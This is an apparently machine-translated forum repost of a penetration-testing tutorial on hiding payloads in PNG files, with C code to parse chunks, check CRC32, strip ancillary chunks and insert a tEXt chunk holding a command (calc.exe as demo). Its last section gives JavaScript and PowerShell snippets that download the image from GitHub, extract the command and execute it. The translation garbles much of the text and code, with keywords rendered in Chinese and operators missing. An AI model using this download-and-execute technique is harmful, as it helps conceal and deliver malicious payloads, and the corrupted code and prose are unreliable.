尖REN 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 隐写术历史悠久,里面有很多有趣的细节,所以我打算系统的研究一下,这次从PNG的文件格式开始。 图片来自http://null-byte . wonder how to . com/how-to/guide-steganography-part-1-hide-secret-messages-images-0130797/ 0x01 简介 隐写术可以理解为信息隐藏,渗透测试中最重要的应用是有效载荷的隐藏。本文将对PNG的文件格式进行分析,编写C程序自动解析文件格式,并根据其文件格式添加一个自定义的有效载荷,不仅影响图片的正常浏览,还会将图片上传到网络,使用时下载并解密成特定格式,最后执行有效载荷。 注: 所有程序源代码已上传至github,网址为: https://github.com/3gstudent/PNG-Steganography 0x02 PNG文件格式 1、PNG文件署名域 前8个字节 固定格式,十六进制是: 89 50 4e 47 0d 0a 1a 0a 2、数据块 组块类型代码:4字节,组块类型代码。 块数据(block data):存储数据的可变长度。 CRC(循环冗余检测):4字节,存储用于检测是否有错误的循环冗余码。 数据块类型: 1. 关键数据块(critical chunk) (1)文件标题数据块IHDR(标题块) 包含PNG文件的基本信息。 一个PNG数据流中只能有一个IHDR。 必须在PNG文件最前面 (2)调色板数据块PLTE(调色板块) 包括与索引颜色图像相关的颜色转换数据。 必须在IDAT之前 (3)图像数据块(IDAT)。 存储实际数据。 可能有多个。 必须与其他IDAT连续 (4)图像数据IEND的结尾(图像尾部组块) 固定格式,十六进制是: 4E 44 AE 42 60 82 必须在PNG文件最尾部 2. 辅助数据块(ancillary chunk) 用于指示PNG图像中的图层和字符等信息。 可删除,不影响图片浏览,但图像将失去原来的可编辑性 (1)背景颜色数据块bKGD(背景颜色) (2)原色和白度数据块CHRM(原色和白点) (3)图像伽马数据块gAMA(图像伽马) (4)图像直方图数据块hIST(图像直方图) (5)物理像素大小数据块pHYs(物理像素尺寸) (6)样本有效位的有效位(SBIT) (7)文本信息数据块Text(文本数据) (8)最后修改时间数据块时间(图像最后修改时间) (9)图像透明数据块tRNS(透明度) (10)压缩文本数据块zTXt(压缩文本数据) 0x03 实例格式分析 工具:十六进制编辑器 优点: 可以标记十六进制字符串,设置颜色,方便格式分析。 测试文件: 画 源下载地址: http://www.easyicon.net/language.en/1172671-png_icon.html 标记的文件格式如图所示。 (1) PNG文件署名域 固定格式: 89 50 4e 47 0d 0a 1a 0a (2) IHDR 00000008h:00 00 00 0D 49 48 44 52 00 00 00 1A 00 00 00 1A;….IHDR……. 00000018h:08 04 00 00 00 03 43 84 45;c。 数据块结构: Length: 0 00 00 0D 前4个字节,定义长度,十进制00 00 0D是13,这意味着长度是13个字节。 Chunk Type Code: 49 48 44 52 4个字节,定义数据块类型代码,这里是IHDR。 Chunk Data: 1A 00 00 00 1A 08 04 00 00 00 00 总共13个字节,定义数据内容。 CRC: 4字节,由CRC32根据块类型代码块数据计算的值。 也就是说,将计算以下十六进制数: 1A 00 00 00 00 1A 08 04 00 00 00 00 写一个验证CRC算法的程序,保存为example1.cpp源代码如下: #包括 unsigned int GetCrc32(char* InStr,unsigned int len){ 无符号整数CRC 32 table[256]; int i,j; 无符号整数Crc for(I=0;i 256i ){ CRC=I; for(j=0;j 8;j ){ 中频(Crc 1) CRC=(CRC 1)^0x EDB 88320; 其他 CRC=1; } Crc 32 table[I]=Crc; } Crc=0xffffffff for(int m=0;^ CRC 32表[(Crc0xFF) ^仪器[m]]; } CRC ^=0x ffffffff; 返回Crc } int main(int argc,char* argv[]) { char buf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x 00 }; unsigned int crc32=GetCrc32(buf,sizeof(buf)); printf('x\n',crc32); 返回0; } 运行后如图,输出03438445,同文件中的CRC32校验码相同 (3) gAMA 00000021h:00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05;….伽马.睆。黙。 数据块结构: 长度:00 00 00 04 组块类型代码67 41 4D 区块数据:00 00 B1 8F 儿童权利委员会:0B FC 61 05 (4) cHRM 00000031h:00 00 00 20 63 48 52 4D 00 00 7A 26 00 00 80 84;… cHRM.z.? 00000041h:00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60;?u0.阘 00000051h:00 00 3A 98 00 00 17 70 9C BA 51 3C;p満Q 数据块结构: 长度:00 00 00 20 组块类型代码:63 48 52 4D 区块数据:00 00 7A 26 00 00 00 80 84 00 00 00 FA 00 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 98 00 00 17 70 3C (5) IDAT (6-14)文本 (15)IEND 数据块结构: 长度:00 00 00 00 组块类型代码:49 45 4E 区块数据: 儿童权利委员会:AE 42 60 82 固定结构,CRC的值为对组块类型代码作CRC32校验 如图 0x04 编写程序分析文件格式 开发工具:vc6.0 1、读取PNG文件 保存为示例2.cpp,代码如下: #包括 #包括 int main(int argc,char* argv[]) { 文件* fp if((FP=fopen(' c:\ \ test \ \ test。png ',' Rb ')==NULL) 返回0; fseek(fp,0,SEEK _ END); int len=ftell(FP); unsigned char * buf=new unsigned char[len]; fseek(fp,0,SEEK _ SET); fread(buf,len,1,FP); printf('len=%d\n ',len); for(int I=1;i=len我) { printf('x',buf[i-1]); if(i==0) printf(' \ n '); } fclose(FP); printf(' \ n '); 返回0; } 如图,程序按照UltraEdit的格式输出,以便后续的格式分析 2、解析数据块结构 从第8字节开始,读前四字节为组块长度 对应的代码为: 无符号int chunk len=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3]; 接着四字节为ChunkName printf('ChunkName:%c%c%c%c\n ',buf[0],buf[1],buf[2],buf[3]); 然后根据组块长度读出完整的ChunkData 最后读出CRC32的值,同块类型代码块数据求出的CRC32校验值作比较 保存为check.cpp,完整代码如下: #包括 #包括 unsigned int get CRC 32(unsigned char * InStr,unsigned int len){ 无符号整数CRC 32表[256]; 无符号int i,j; 无符号整数循环冗余码校验 for(I=0;i 256i ){ CRC=I; for(j=0;j 8;j ){ 中频(Crc 1) CRC=(CRC 1)^0x EDB 88320; 其他 CRC=1; } Crc 32表[I]=Crc; } Crc=0xffffffff 对于(无符号int m=0;^ CRC 32表[(Crc0xFF) ^仪器[m]]; } CRC ^=0x ffffffff; 返回循环冗余码校验 } int main(int argc,char* argv[]) { 文件* fp 无符号char * buf=NULL 无符号整数长度=0; 无符号int chunk len=0; 无符号int chunk CRC 32=0; 无符号int chunk offset=0; 无符号整数crc32=0; 无符号int I=0; if((FP=fopen(' c:\ \ test \ \ test。png ',' Rb ')==NULL) 返回0; fseek(fp,0,SEEK _ END); len=ftell(FP); buf=new unsigned char[len]; fseek(fp,0,SEEK _ SET); fread(buf,len,1,FP); printf('总长度=%d\n ',长度); printf('-\ n '); fseek(fp,8,SEEK _ SET); 组块偏移=8; I=0; while(1) { 我; memset(buf,0,len); fread(buf,4,1,FP); chunk len=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3]; fread(buf,4 ChunkLen,1,FP); printf('[ ]ChunkName:%c%c%c%c ',buf[0],buf[1],buf[2],buf[3]); if(strncmp((char *)buf,' IHDR ',4)==0|strncmp((char *)buf,' PLTE ',4)==0|strncmp((char *)buf,' IDAT ',4)==0) printf('调色板块\ n’); printf('辅助块\ n’); printf("chunkoffset:0xx\n',chunkoffset”); printf('组块len:d\n',chunklen '); ChunkOffset=ChunkLen 12 crc32=GetCrc32(buf,chunk len 4); printf("expectcrc32:x\n',crc32”); fread(buf,4,1,FP); chunk CRC 32=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3]; printf(‘大块CRC 32:x',chunkcrc32’); 如果(crc32!=ChunkCRC32) printf('[!]CRC 32检查错误!\ n’); 其他 printf('检查成功!\ n \ n’); chunk len=ftell(FP); if(ChunkLen==(len-12)) { printf(' \ n-\ n '); printf('总块:%d\n ',I); 打破; } } fclose(FP); 返回0; } 运行如图,可获得完整的PNG文件结构 注: 这个程序可用来对PNG文件进行格式分析,标记PNG文件的数据块名称、偏移地址、数据块长度、比较预期和实际的CRC32校验码,可基于此对批量文件进行分析,查找可疑文件。 后续会补充大蟒的实现代码 0x05 去除多余数据 上面提到,去除辅助数据块的内容对PNG图像的浏览没有影响,下面就尝试去除PNG文件的所有辅助数据块 1、工具实现 如图,使用十六进制编辑器去除辅助数据块伽马、cHRM和bKGD 如图,文件大小变化,但不影响PNG文件浏览 2、程序实现 去除所有辅助数据块,只提取关键信息。程序先对ChunkName作判断,忽略非关键数据块(辅助块)的内容,并保存为new.png 保存为压缩. cpp完整代码为: #包括 #包括 unsigned int get CRC 32(unsigned char * InStr,unsigned int len){ 无符号整数CRC 32表[256]; 无符号int i,j; 无符号整数循环冗余码校验 for(I=0;i 256i ){ CRC=I; for(j=0;j 8;j ){ 中频(Crc 1) CRC=(CRC 1)^0x EDB 88320; 其他 CRC=1; } Crc 32表[I]=Crc; } Crc=0xffffffff 对于(无符号int m=0;^ CRC 32表[(Crc0xFF) ^仪器[m]]; } CRC ^=0x ffffffff; 返回循环冗余码校验 } int main(int argc,char* argv[]) { 文件*fp,* fpnew 无符号char * buf=NULL 无符号整数长度=0; 无符号int chunk len=0; 无符号int chunk CRC 32=0; 无符号int chunk offset=0; 无符号整数crc32=0; 无符号int i=0,j=0; 无符号字符签名[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a }; 无符号字符IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x 82 }; if((fp=fopen('c:\\test\\0.png ',' Rb ')==NULL) 返回0; if((FP new=fopen(' c:\ \ test \ \ new。png ',' WB ')==NULL) 返回0; fseek(fp,0,SEEK _ END); len=ftell(FP); buf=new unsigned char[len]; fseek(fp,0,SEEK _ SET); fread(buf,len,1,FP); printf('总长度=%d\n ',长度); printf('-\ n '); fseek(fp,8,SEEK _ SET); 组块偏移=8; I=0; fwrite(签名,8,1,FP new); while(1) { 我; j=0; memset(buf,0,len); fread(buf,4,1,FP); fwrite(buf,4,1,FP new); chunk len=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3]; fread(buf,4 ChunkLen,1,FP); printf('[ ]ChunkName:%c%c%c%c ',buf[0],buf[1],buf[2],buf[3]); if(strncmp((char *)buf,' IHDR ',4)==0|strncmp((char *)buf,' PLTE ',4)==0|strncmp((char *)buf,' IDAT ',4)==0) { printf('调色板块\ n’); fwrite(buf,4 ChunkLen,1,FP new); } 其他 { printf('辅助块\ n’); fseek(fpnew,-4,SEEK _ CUR); j=1; } printf("chunkoffset:0xx\n',chunkoffset”); printf('组块len:d\n',chunklen '); crc32=GetCrc32(buf,chunk len 4); printf("expectcrc32:x\n',crc32”); fread(buf,4,1,FP); chunk CRC 32=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3]; printf(‘大块CRC 32:x',chunkcrc32’); 如果(crc32!=ChunkCRC32) printf('[!]CRC 32检查错误!\ n’); 其他 { printf('检查成功!\ n \ n’); 如果(j==0) fwrite(buf,4,1,FP new); } chunk len=ftell(FP); if(ChunkLen==(len-12)) { printf(' \ n-\ n '); printf('总块:%d\n ',I); 打破; } } fwrite(IEND,12,1,FP new); fclose(FP); fclose(FP new); 返回0; } 如图,左边为原始PNG文件大小,右边为去掉所有辅助数据块后的文件,仍然可以正常浏览 0x06 写入Payload 实例: 按照辅助数据块的格式写入有效载荷 写入的有效载荷为: calc.exe 辅助数据块设置为: 文本 对应的完整数据块结构如下: 长度:00 00 00 08 组块类型代码:74 45 58 74 区块数据:63 61 6c 63 2e 65 78 65 儿童权利委员会:fa c4 08 76 写入的十六进制数据如下: 00 00 00 08 74 45 58 74 63 61 6c 63 2e 65 78 65法C4 08 76 注: 本实例仅作演示,实际使用可换成其他数据块,更加隐蔽 1、工具实现 使用十六进制编辑器插入数据,如图 保存后,不影响PNG文件浏览 2、程序实现 去掉PNG文件所有的辅助数据块后,写入有效载荷数据块文本 保存为addpayload.cpp,完整代码: #包括 #包括 unsigned int get CRC 32(unsigned char * InStr,unsigned int len){ 无符号整数CRC 32表[256]; 无符号int i,j; 无符号整数循环冗余码校验 for(I=0;i 256i ){ CRC=I; for(j=0;j 8;j ){ 中频(Crc 1) CRC=(CRC 1)^0x EDB 88320; 其他 CRC=1; } Crc 32表[I]=Crc; } Crc=0xffffffff 对于(无符号int m=0;^ CRC 32表[(Crc0xFF) ^仪器[m]]; } CRC ^=0x ffffffff; 返回循环冗余码校验 } void convertStrToUnChar(char * str,unsigned char* UnChar) { int i=strlen(str),j=0,counter=0; char c[2]; 无符号整数字节[2]; for(j=0;j I;j=2) { if(0==j % 2) { c[0]=str[j]; c[1]=str[j 1]; sscanf(c,'x',bytes[0]); UnChar[counter]=bytes[0]; 柜台; } } 返回; } void AddPayload(FILE *fp) { char * Payload=' calc.exe 无符号字符*缓冲 int len int crc32 len=strlen(有效载荷); buf=新无符号字符[第12条]; buf[0]=len 240 xff; buf[1]=len 160 xff; buf[2]=len 80 xff; buf[3]=len0x ff; buf[4]=' t '; buf[5]=' E '; buf[6]=' X '; buf[7]=' t '; for(int j=0;j 使用check.cpp对其进行校验,如图,校验成功 0x07 读取payload并执行 将添加有效载荷的图片上传至github,在客户端实现读取图片解析有效载荷并执行: 1、javascript h=新的ActiveXObject('WinHttp .winhttp请求。5.1'); h.SetTimeouts,0,0,0); h.打开(' GET ',' https://raw。githubusercontent。com/3g student/PNG-隐写术/master/new。PNG ',false); h . send(); Data=h . ResponseText x=数据。(“文本”)的索引; y=数据。的索引(' index str=数据。子串(x ^ 4,y-8); 新建ActiveXObject('WScript .壳')。run(str); 2、powershell $ URL=' https://raw。githubusercontent。com/3g student/PNG-隐写术/master/new。巴布亚新几内亚 $request=新对象系统。网络客户端 $bytes=$request .下载字符串($url) $x=$bytes.indexof('文本) $y=$bytes.indexof('IEND ') $str=$bytes .子字符串($ x ^ 4,$y-$x-12) 开始进程文件路径$str 注: 这里给出两种方法,仅作演示 0x08 小结 本文详细介绍分析了PNG文件的格式,编写程序实现以下功能: 自动解析PNG文件格式,辅助查找其中的隐藏内容 添加有效载荷 下载PNG图片解析并执行有效载荷 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子